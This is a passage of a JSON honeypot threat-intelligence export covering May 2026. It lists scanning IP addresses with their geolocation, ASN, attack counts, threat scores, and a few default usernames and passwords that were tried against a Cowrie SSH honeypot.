      "first_seen": "2026-05-25T04:07:51.036Z",
      "last_seen": "2026-05-25T04:07:58.202Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T04:07:51.036000+00:00",
        "last_seen_30d": "2026-05-25T04:09:06.338000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "34.78.140.132": {
      "attack_count": 9,
      "first_seen": "2026-05-22T07:15:33.429Z",
      "last_seen": "2026-05-22T07:15:41.763Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T07:15:33.429000+00:00",
        "last_seen_30d": "2026-05-22T07:16:51.787000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 5
      }
    },
    "20.171.25.42": {
      "attack_count": 7,
      "first_seen": "2026-05-11T03:08:09.121Z",
      "last_seen": "2026-05-11T03:08:19.122Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.1,
        "persistence": 9.2,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 11,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T13:38:23+00:00",
        "last_seen_30d": "2026-05-13T15:17:57.183000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Cowrie": 7,
        "Honeytrap": 6
      }
    },
    "109.18.110.155": {
      "attack_count": 6,
      "first_seen": "2026-05-27T08:56:05.776Z",
      "last_seen": "2026-05-27T08:58:29.129Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Nice",
      "asn": 15557,
      "as_org": "Societe Francaise Du Radiotelephone - SFR SA",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T08:56:05.776000+00:00",
        "last_seen_30d": "2026-05-27T09:09:06.291000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "138.201.207.113": {
      "attack_count": 6,
      "first_seen": "2026-05-05T01:21:16.297Z",
      "last_seen": "2026-05-05T01:21:23.792Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Falkenstein",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:21:16.297000+00:00",
        "last_seen_30d": "2026-05-05T01:22:31.807000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "209.97.147.171": {
      "attack_count": 6,
      "first_seen": "2026-05-03T20:05:58.010Z",
      "last_seen": "2026-05-03T20:05:58.560Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T20:02:43.559000+00:00",
        "last_seen_30d": "2026-05-03T20:07:02.340000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "45.79.55.133": {
      "attack_count": 6,
      "first_seen": "2026-05-03T15:57:04.453Z",
      "last_seen": "2026-05-03T15:57:10.889Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Richardson",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T15:57:04.453000+00:00",
        "last_seen_30d": "2026-05-03T15:58:13.650000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "66.132.172.195": {
      "attack_count": 6,
      "first_seen": "2026-05-02T22:32:36.330Z",
      "last_seen": "2026-05-02T22:33:33.640Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 173,
        "days_active_30d": 30,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T09:35:38.246000+00:00",
        "last_seen_30d": "2026-05-31T19:12:16.535000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 107,
        "Honeytrap": 49,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "Honeyaml": 4,
        "Ipphoney": 1
      }
    },
    "82.167.219.155": {
      "attack_count": 6,
      "first_seen": "2026-05-24T13:25:51.716Z",
      "last_seen": "2026-05-24T13:31:53.266Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Dammam",
      "asn": 35753,
      "as_org": "Etihad Salam Telecom CJSC",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T13:25:51.716000+00:00",
        "last_seen_30d": "2026-05-24T13:34:35.335000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "180.76.147.77": {
      "attack_count": 5,
      "first_seen": "2026-05-31T00:49:55.900Z",
      "last_seen": "2026-05-31T00:49:59.706Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "user2"
      ],
      "passwords_attempted": [
        "123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T00:49:55.900000+00:00",
        "last_seen_30d": "2026-05-31T00:51:08.087000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "31.170.22.196": {
      "attack_count": 5,
      "first_seen": "2026-05-30T13:25:24.099Z",
      "last_seen": "2026-05-30T13:25:27.232Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "ftp1"
      ],
      "passwords_attempted": [
        "ftp1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Latvia",
      "country_code": "LV",
      "city": null,
      "asn": 43513,
      "as_org": "Sia Nano IT",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T13:25:24.099000+00:00",
        "last_seen_30d": "2026-05-30T13:26:32.225000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "104.152.52.241": {
      "attack_count": 4,
      "first_seen": "2026-05-21T15:17:22.882Z",
      "last_seen": "2026-05-21T15:17:23.231Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 51.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.4,
        "persistence": 13.3,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 16,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-16T04:13:35.339000+00:00",
        "last_seen_30d": "2026-05-31T15:17:15.144000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Dionaea": 6,
        "Cowrie": 4
      }
    },
    "136.158.24.132": {
      "attack_count": 4,
      "first_seen": "2026-05-12T13:01:02.623Z",
      "last_seen": "2026-05-12T13:03:03.838Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Paranaque City",
      "asn": 17639,
      "as_org": "Converge ICT Solutions Inc.",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T13:01:02.623000+00:00",
        "last_seen_30d": "2026-05-12T13:04:06.566000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "181.34.178.237": {
      "attack_count": 4,
      "first_seen": "2026-05-19T15:20:42.208Z",
      "last_seen": "2026-05-19T18:00:50.822Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T15:20:42.208000+00:00",
        "last_seen_30d": "2026-05-19T18:01:53.954000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "183.171.212.24": {
      "attack_count": 4,
      "first_seen": "2026-05-22T13:36:26.941Z",
      "last_seen": "2026-05-22T16:39:50.993Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 10030,
      "as_org": "Celcom Axiata Berhad",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T13:36:26.941000+00:00",
        "last_seen_30d": "2026-05-22T16:40:59.147000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "190.218.154.223": {
      "attack_count": 4,
      "first_seen": "2026-05-23T02:01:04.232Z",
      "last_seen": "2026-05-23T02:03:11.248Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 18809,
      "as_org": "Cable Onda",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:01:04.232000+00:00",
        "last_seen_30d": "2026-05-23T02:04:12.388000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "191.59.71.198": {
      "attack_count": 4,
      "first_seen": "2026-05-20T03:13:40.933Z",
      "last_seen": "2026-05-20T03:20:33.353Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Bras\u00edlia",
      "asn": 4230,
      "as_org": "CLARO S.A.",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T03:13:40.933000+00:00",
        "last_seen_30d": "2026-05-20T08:21:27.803000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "36.231.74.186": {
      "attack_count": 4,
      "first_seen": "2026-05-19T02:47:47.777Z",
      "last_seen": "2026-05-19T02:55:16.048Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T02:47:47.777000+00:00",
        "last_seen_30d": "2026-05-19T02:56:18.128000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "36.70.69.198": {
      "attack_count": 4,
      "first_seen": "2026-05-21T11:29:17.616Z",
      "last_seen": "2026-05-22T02:53:38.675Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "West Jakarta",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T11:29:17.616000+00:00",
        "last_seen_30d": "2026-05-22T02:54:40.877000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "66.132.186.204": {
      "attack_count": 4,
      "first_seen": "2026-05-31T21:51:51.254Z",
      "last_seen": "2026-05-31T21:52:11.724Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 176,
        "days_active_30d": 30,
        "ports_targeted_30d": 52,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T09:11:46+00:00",
        "last_seen_30d": "2026-05-31T21:53:39.840000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 106,
        "Honeytrap": 58,
        "CitrixHoneypot": 4,
        "Cowrie": 4,
        "Dionaea": 4
      }
    },
    "102.141.53.27": {
      "attack_count": 2,
      "first_seen": "2026-05-09T19:11:42.714Z",
      "last_seen": "2026-05-09T19:11:55.543Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Congo Republic",
      "country_code": "CG",
      "city": "Brazzaville",
      "asn": 36924,
      "as_org": "GVA-Canalbox",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T19:11:42.714000+00:00",
        "last_seen_30d": "2026-05-09T19:12:56.859000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "102.99.83.129": {
      "attack_count": 2,
      "first_seen": "2026-05-10T12:56:53.536Z",
      "last_seen": "2026-05-10T12:57:07.751Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 36925,
      "as_org": "ASMedi",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T12:56:53.536000+00:00",
        "last_seen_30d": "2026-05-10T12:58:11.665000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "105.67.131.29": {
      "attack_count": 2,
      "first_seen": "2026-05-03T02:38:19.338Z",
      "last_seen": "2026-05-03T02:38:31.417Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Agadir",
      "asn": 36884,
      "as_org": "MAROCCONNECT",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:38:19.338000+00:00",
        "last_seen_30d": "2026-05-03T02:39:35.377000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.205.87.111": {
      "attack_count": 2,
      "first_seen": "2026-05-02T04:52:57.517Z",
      "last_seen": "2026-05-02T04:53:27.925Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yeongwol-gun",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:52:57.517000+00:00",
        "last_seen_30d": "2026-05-02T04:54:32.569000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "121.236.209.221": {
      "attack_count": 2,
      "first_seen": "2026-05-09T06:23:10.077Z",
      "last_seen": "2026-05-09T06:23:41.783Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 140292,
      "as_org": "CHINATELECOM Jiangsu province Suzhou 5G network",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T06:23:10.077000+00:00",
        "last_seen_30d": "2026-05-09T06:24:45.021000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "123.130.210.76": {
      "attack_count": 2,
      "first_seen": "2026-05-09T00:13:33.424Z",
      "last_seen": "2026-05-09T00:13:46.181Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T00:13:33.424000+00:00",
        "last_seen_30d": "2026-05-09T00:14:55.045000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.96.49.147": {
      "attack_count": 2,
      "first_seen": "2026-05-26T17:43:04.956Z",
      "last_seen": "2026-05-26T17:43:31.849Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T17:43:04.956000+00:00",
        "last_seen_30d": "2026-05-26T17:44:46.854000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.113.164.233": {
      "attack_count": 2,
      "first_seen": "2026-05-12T14:13:46.340Z",
      "last_seen": "2026-05-12T14:13:59.710Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
